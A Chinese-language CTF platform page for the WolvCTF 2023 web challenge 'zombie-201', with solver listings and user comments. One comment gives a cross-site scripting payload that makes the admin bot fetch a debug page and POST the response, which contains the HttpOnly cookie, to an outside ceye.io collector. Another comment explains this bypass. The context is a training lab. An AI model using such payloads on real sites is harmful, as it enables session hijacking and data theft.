zombie-201WEB 未解决

分数: 0 金币: 0
所属赛事: WolvCTF 2023
题目作者: 未知
一  血: heyile
一血奖励: 0金币
解  决: 143
提  示:
描  述:
wctf{}
评论
15031597817 1年前

怎么做的?

回复 0

vincentshine 1年前

http://82.157.146.43:10973/zombie?show=<script>fetch('http://82.157.146.43:10973/debug').then(data => { fetch('http://xxxx.ceye.io',{method: 'POST', body: data}) })</script>

回复 0

justsosoloveyou 2年前

httponly禁止了js读取cookie,要考虑绕过。由于debug页面的响应包含cookie,那就让后台管理访问debug页面,然后将页面响应回传。要注意js编码和要对页面响应内容编码。

回复 7

WriteUp

image
zzhicecyb

0 金币

评分(0)

暂无评分

解题动态

Kevin026 攻破了该题 1天前
风花雪月 攻破了该题 1天前
bugbiubiubiu 攻破了该题 5天前
nnyylove 攻破了该题 8天前
Jazzyl 攻破了该题 10天前
EAST.DH 攻破了该题 14天前
东风遥 攻破了该题 15天前
88788 攻破了该题 18天前
llawlietD 攻破了该题 20天前
zrlht 攻破了该题 1月前
Jay. 攻破了该题 1月前
Dxmax 攻破了该题 1月前
gdrhdr 攻破了该题 1月前
Yan123 攻破了该题 1月前
香克斯呀 攻破了该题 1月前
denglonghua 攻破了该题 1月前
jibabenba 攻破了该题 1月前
xiaodou 攻破了该题 1月前
guity 攻破了该题 1月前
AITester 攻破了该题 1月前
问题反馈